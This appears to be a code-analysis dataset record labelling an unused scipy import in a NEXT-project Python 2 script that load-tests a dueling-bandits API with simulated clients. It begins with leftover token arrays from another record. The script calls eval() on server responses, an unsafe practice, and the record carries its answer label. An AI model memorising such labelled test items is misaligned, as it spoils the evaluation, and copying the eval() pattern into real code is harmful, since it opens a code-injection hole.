_", "index_", "=_", "int_", "(_", "i_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "remove", "\\u", "list_", "._", "append_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "values_", "=_", "strip", "\\u", "string_", "(_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "values_", "._", "split_", "(_", "\",\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "index_", "=_", "int_", "(_", "i_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "remove", "\\u", "list_", "._", "append_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\"", "Do", " ", "not", " ", "underst", "and", " ", "'%", "s", "'", " ", "in", " ", "'%", "s", "'\"_", "%_", "(_", "word_", ",_", "\"", " ", "\"_", "._", "join_", "(_", "line_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "\\u", "rm", "\\u", "list_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "name", "\\u", "by", "\\u", "index_", "(_", "indices_", "=_", "all", "\\u", "remove", "\\u", "list_", ",_", "cluster", "\\u", "snapshot_", "=_", "False_", ",_", "from", "\\u", "all", "\\u", "list_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "rm", "\\u", "list_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "name", "\\u", "by", "\\u", "index_", "(_", "indices_", "=_", "selecte", "d\\u", "remove", "\\u", "list_", ",_", "cluster", "\\u", "snapshot_", "=_", "False_", ",_", "from", "\\u", "all", "\\u", "list_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "all", "\\u", "rm", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "logger_", "._", "remove", "\\u", "logs_", "(_", "all", "\\u", "rm", "\\u", "list_", ",_", "cluster", "\\u", "snapshot_", "=_", "False_", ",_", "from", "\\u", "all", "\\u", "list_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "selecte", "d\\u", "rm", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "logger_", "._", "remove", "\\u", "logs_", "(_", "selecte", "d\\u", "rm", "\\u", "list_", ",_", "cluster", "\\u", "snapshot_", "=_", "False_", ",_", "from", "\\u", "all", "\\u", "list_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
nextml/NEXT/next/api/tests/test_api_dueling_multiprocessing.py
[ { "content": "import numpy\nimport numpy.random\nimport random\nimport json\nimport time\nfrom datetime import datetime\nimport requests\nfrom scipy.linalg import norm\nimport time\nfrom multiprocessing import Pool\n\n\nimport os\nHOSTNAME = os.environ.get('NEXT_BACKEND_GLOBAL_HOST', 'localhost')+':'+os.environ.get('NEXT_BACKEND_GLOBAL_PORT', '8000')\n\n\n\n\n\n\n\nif __name__ == '__main__':\n print HOSTNAME\n run_all(False)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def run_all(assert_200):\n\n app_id = 'DuelingBanditsPureExploration'\n num_arms = 300\n true_means = numpy.array(range(num_arms))/float(num_arms)\n total_pulls_per_client = 10\n\n num_experiments = 1\n\n # clients run in simultaneous fashion using multiprocessing library\n num_clients = 500\n\n pool = Pool(processes=num_clients) \n\n\n # input test parameters\n n = num_arms\n delta = 0.05\n supported_alg_ids = ['BR_LilUCB_b2','BR_Random_b2','BR_Thompson_b2']\n\n alg_list = []\n for alg_id in supported_alg_ids:\n alg_item = {}\n alg_item['alg_id'] = alg_id\n alg_item['alg_label'] = alg_id\n alg_item['params'] = {}\n alg_list.append(alg_item)\n params = {}\n params['proportions'] = []\n for algorithm in alg_list:\n params['proportions'].append( { 'alg_label': algorithm['alg_label'] , 'proportion':1./len(alg_list) } )\n algorithm_management_settings = {}\n algorithm_management_settings['mode'] = 'fixed_proportions'\n algorithm_management_settings['params'] = params\n\n\n\n #################################################\n # Test POST Experiment\n #################################################\n initExp_args_dict = {}\n initExp_args_dict['args'] = {}\n initExp_args_dict['args']['n'] = n\n initExp_args_dict['args']['failure_probability'] = delta\n initExp_args_dict['args']['participant_to_algorithm_management'] = 'one_to_many' # 'one_to_one' #optional field\n initExp_args_dict['args']['algorithm_management_settings'] = algorithm_management_settings #optional field\n initExp_args_dict['args']['alg_list'] = alg_list #optional field\n initExp_args_dict['args']['instructions'] = 'You want instructions, here are your test instructions'\n initExp_args_dict['args']['debrief'] = 'You want a debrief, here is your test debrief'\n initExp_args_dict['args']['context_type'] = 'text'\n initExp_args_dict['args']['context'] = 'Boom baby dueling works'\n initExp_args_dict['app_id'] = app_id\n initExp_args_dict['site_id'] = 'replace this with working site id'\n initExp_args_dict['site_key'] = 'replace this with working site key'\n\n exp_info = []\n for ell in range(num_experiments):\n url = \"http://\"+HOSTNAME+\"/api/experiment\"\n response = requests.post(url, json.dumps(initExp_args_dict), headers={'content-type':'application/json'})\n print \"POST initExp response =\",response.text, response.status_code\n if assert_200: assert response.status_code is 200\n initExp_response_dict = json.loads(response.text)\n\n exp_uid = initExp_response_dict['exp_uid']\n exp_key = initExp_response_dict['exp_key']\n\n exp_info.append( {'exp_uid':exp_uid,'exp_key':exp_key} )\n\n #################################################\n # Test GET Experiment\n #################################################\n url = \"http://\"+HOSTNAME+\"/api/experiment/\"+exp_uid+\"/\"+exp_key\n response = requests.get(url)\n print \"GET experiment response =\",response.text, response.status_code\n if assert_200: assert response.status_code is 200\n initExp_response_dict = json.loads(response.text)\n\n\n\n ###################################\n # Generate participants\n ###################################\n\n participants = []\n pool_args = []\n for i in range(num_clients):\n participant_uid = '%030x' % random.randrange(16**30)\n participants.append(participant_uid)\n\n experiment = numpy.random.choice(exp_info)\n exp_uid = experiment['exp_uid']\n exp_key = experiment['exp_key']\n pool_args.append( (exp_uid,exp_key,participant_uid,total_pulls_per_client,true_means,assert_200) )\n\n results = pool.map(simulate_one_client, pool_args)\n\n for result in results:\n print result", "metadata": "root.run_all", "header": "['module', '___EOS___']", "index": 15 }, { "content": "def simulate_one_client( input_args ):\n exp_uid,exp_key,participant_uid,total_pulls,true_means,assert_200 = input_args\n avg_response_time = 1.\n\n\n getQuery_times = []\n processAnswer_times = []\n for t in range(total_pulls):\n \n\n print t,participant_uid\n #######################################\n # test POST getQuery #\n #######################################\n getQuery_args_dict = {}\n getQuery_args_dict['exp_uid'] = exp_uid\n getQuery_args_dict['exp_key'] = exp_key\n getQuery_args_dict['args'] = {}\n # getQuery_args_dict['args']['participant_uid'] = numpy.random.choice(participants)\n getQuery_args_dict['args']['participant_uid'] = participant_uid\n\n url = 'http://'+HOSTNAME+'/api/experiment/getQuery'\n response,dt = timeit(requests.post)(url, json.dumps(getQuery_args_dict),headers={'content-type':'application/json'})\n print \"POST getQuery response = \", response.text, response.status_code\n if assert_200: assert response.status_code is 200\n print \"POST getQuery duration = \", dt\n getQuery_times.append(dt)\n print \n \n\n query_dict = json.loads(response.text)\n query_uid = query_dict['query_uid']\n targets = query_dict['target_indices']\n for target in targets:\n if target['label'] == 'left':\n index_left = target['index']\n if target['label'] == 'right':\n index_right = target['index']\n if target['flag'] == 1:\n index_painted = target['index']\n\n # generate simulated reward #\n #############################\n # sleep for a bit to simulate response time\n ts = time.time()\n\n time.sleep( avg_response_time*numpy.random.rand() )\n reward_left = true_means[index_left] + numpy.random.randn()*0.5\n reward_right = true_means[index_right] + numpy.random.randn()*0.5\n if reward_left>reward_right:\n index_winner = index_left\n else:\n index_winner = index_right\n\n response_time = time.time() - ts\n\n\n #############################################\n # test POST processAnswer \n #############################################\n processAnswer_args_dict = {}\n processAnswer_args_dict[\"exp_uid\"] = exp_uid\n processAnswer_args_dict[\"exp_key\"] = exp_key\n processAnswer_args_dict[\"args\"] = {}\n processAnswer_args_dict[\"args\"][\"query_uid\"] = query_uid\n processAnswer_args_dict[\"args\"]['target_winner'] = index_winner\n processAnswer_args_dict[\"args\"]['response_time'] = response_time\n\n url = 'http://'+HOSTNAME+'/api/experiment/processAnswer'\n print \"POST processAnswer args = \", processAnswer_args_dict\n response,dt = timeit(requests.post)(url, json.dumps(processAnswer_args_dict), headers={'content-type':'application/json'})\n print \"POST processAnswer response\", response.text, response.status_code\n if assert_200: assert response.status_code is 200\n print \"POST processAnswer duration = \", dt\n processAnswer_times.append(dt)\n print\n processAnswer_json_response = eval(response.text)\n\n processAnswer_times.sort()\n getQuery_times.sort()\n return_str = '%s \\n\\t getQuery\\t : %f (5), %f (50), %f (95)\\n\\t processAnswer\\t : %f (5), %f (50), %f (95)\\n' % (participant_uid,getQuery_times[int(.05*total_pulls)],getQuery_times[int(.50*total_pulls)],getQuery_times[int(.95*total_pulls)],processAnswer_times[int(.05*total_pulls)],processAnswer_times[int(.50*total_pulls)],processAnswer_times[int(.95*total_pulls)])\n return return_str", "metadata": "root.simulate_one_client", "header": "['module', '___EOS___']", "index": 115 }, { "content": "def timeit(f):\n \"\"\" \n Utility used to time the duration of code execution. This script can be composed with any other script.\n\n Usage::\\n\n def f(n): \n return n**n \n\n def g(n): \n return n,n**n \n\n answer0,dt = timeit(f)(3)\n answer1,answer2,dt = timeit(g)(3)\n \"\"\"\n def timed(*args, **kw):\n ts = time.time()\n result = f(*args, **kw)\n te = time.time()\n if type(result)==tuple:\n return result + ((te-ts),)\n else:\n return result,(te-ts)\n return timed", "metadata": "root.timeit", "header": "['module', '___EOS___']", "index": 200 } ]
[ { "span": "from scipy.linalg import norm", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 29 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "._", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "requests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scipy_", "._", "linalg_", "import_", "norm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "multiprocessing_", "import_", "Pool_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "HOSTNAME", "_", "=_", "os_", "._", "environ_", "._", "get_", "(_", "'", "NEXT", "\\u", "BACK", "END", "\\u", "GLOB", "AL", "\\u", "HOST", "'_", ",_", "'", "local", "host", "'_", ")_", "+_", "':'_", "+_", "os_", "._", "environ_", "._", "get_", "(_", "'", "NEXT", "\\u", "BACK", "END", "\\u", "GLOB", "AL", "\\u", "PORT", "'_", ",_", "'", "800", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "HOSTNAME", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "all_", "(_", "False_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "run", "\\u", "all_", "(_", "assert", "\\u", "200_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "'", "Du", "elin", "g", "Band", "its", "Pur", "e", "Explo", "ration", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "arms", "_", "=_", "300_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "true", "\\u", "means_", "=_", "numpy_", "._", "array_", "(_", "range_", "(_", "num", "\\u", "arms", "_", ")_", ")_", "/_", "float_", "(_", "num", "\\u", "arms", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total", "\\u", "pull", "s", "\\u", "per", "\\u", "client_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "experiments_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "clients", " ", "run", " ", "in", " ", "simultaneous", " ", "fas", "hio", "n", " ", "usi", "ng", " ", "multipro", "cess", "ing", " ", "library_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "clients_", "=_", "500_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pool_", "=_", "Pool_", "(_", "processes_", "=_", "num", "\\u", "clients_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "test", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "n_", "=_", "num", "\\u", "arms", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delta_", "=_", "0.05_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "support", "ed", "\\u", "alg", "\\u", "ids_", "=_", "[_", "'", "BR", "\\u", "Lil", "UC", "B", "\\u", "b2", "'_", ",_", "'", "BR", "\\u", "Random", "\\u", "b2", "'_", ",_", "'", "BR", "\\u", "Tho", "mps", "on", "\\u", "b2", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alg", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "alg", "\\u", "id_", "in_", "support", "ed", "\\u", "alg", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "item_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "item_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "=_", "alg", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "item_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "=_", "alg", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "item_", "[_", "'", "params", "'_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "list_", "._", "append_", "(_", "alg", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "params_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "[_", "'", "proportion", "s", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "[_", "'", "proportion", "s", "'_", "]_", "._", "append_", "(_", "{_", "'", "alg", "\\u", "label", "'_", ":_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", ",_", "'", "proportion", "'_", ":_", "1._", "/_", "len_", "(_", "alg", "\\u", "list_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "mode", "'_", "]_", "=_", "'", "fixed", "\\u", "proportion", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "params", "'_", "]_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "POST", " ", "Experiment_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "n", "'_", "]_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "fail", "ure", "\\u", "probabilit", "y", "'_", "]_", "=_", "delta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", "]_", "=_", "'", "one", "\\u", "to", "\\u", "many", "'_", "#", " ", "'", "one", "\\u", "to", "\\u", "one", "'", " ", " ", "#", "option", "al", " ", "field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", "]_", "=_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "#", "option", "al", " ", "field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "alg", "\\u", "list", "'_", "]_", "=_", "alg", "\\u", "list_", "#", "option", "al", " ", "field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "instruct", "ion", "s", "'_", "]_", "=_", "'", "You", " ", "want", " ", "instruct", "ion", "s", ",", " ", "here", " ", "are", " ", "your", " ", "test", " ", "instruct", "ion", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "deb", "rie", "f", "'_", "]_", "=_", "'", "You", " ", "want", " ", "a", " ", "deb", "rie", "f", ",", " ", "here", " ", "is", " ", "your", " ", "test", " ", "deb", "rie", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "context", "\\u", "type", "'_", "]_", "=_", "'", "text", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "context", "'_", "]_", "=_", "'", "Boo", "m", " ", "baby", " ", "due", "ling", " ", "works", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "app", "\\u", "id", "'_", "]_", "=_", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "site", "\\u", "id", "'_", "]_", "=_", "'", "replace", " ", "this", " ", "with", " ", "working", " ", "site", " ", "id", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "args", "\\u", "dict_", "[_", "'", "site", "\\u", "key", "'_", "]_", "=_", "'", "replace", " ", "this", " ", "with", " ", "working", " ", "site", " ", "key", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "\\u", "info_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ell_", "in_", "range_", "(_", "num", "\\u", "experiments_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "\"", "http", "://\"_", "+_", "HOSTNAME", "_", "+_", "\"/", "api", "/", "experiment", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "requests_", "._", "post_", "(_", "url_", ",_", "json_", "._", "dumps_", "(_", "init", "Exp", "\\u", "args", "\\u", "dict_", ")_", ",_", "headers_", "=_", "{_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "POST", " ", "init", "Exp", " ", "response", " ", "=\"_", ",_", "response_", "._", "text_", ",_", "response_", "._", "status", "\\u", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "assert", "\\u", "200_", ":_", "assert_", "response_", "._", "status", "\\u", "code_", "is_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "response", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "response_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "\\u", "uid_", "=_", "init", "Exp", "\\u", "response", "\\u", "dict_", "[_", "'", "exp", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "\\u", "key_", "=_", "init", "Exp", "\\u", "response", "\\u", "dict_", "[_", "'", "exp", "\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "\\u", "info_", "._", "append_", "(_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "exp", "\\u", "key", "'_", ":_", "exp", "\\u", "key_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "GET", " ", "Experiment_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "\"", "http", "://\"_", "+_", "HOSTNAME", "_", "+_", "\"/", "api", "/", "experiment", "/\"_", "+_", "exp", "\\u", "uid_", "+_", "\"/\"_", "+_", "exp", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "requests_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "GET", " ", "experiment", " ", "response", " ", "=\"_", ",_", "response_", "._", "text_", ",_", "response_", "._", "status", "\\u", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "assert", "\\u", "200_", ":_", "assert_", "response_", "._", "status", "\\u", "code_", "is_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "Exp", "\\u", "response", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "response_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Generate", " ", "participants_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "participants_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pool", "\\u", "args_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "\\u", "clients_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "participa", "nt", "\\u", "uid_", "=_", "'%", "030", "x", "'_", "%_", "random_", "._", "randrange_", "(_", "16_", "**_", "30_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "participants_", "._", "append_", "(_", "participa", "nt", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "experiment_", "=_", "numpy_", "._", "random_", "._", 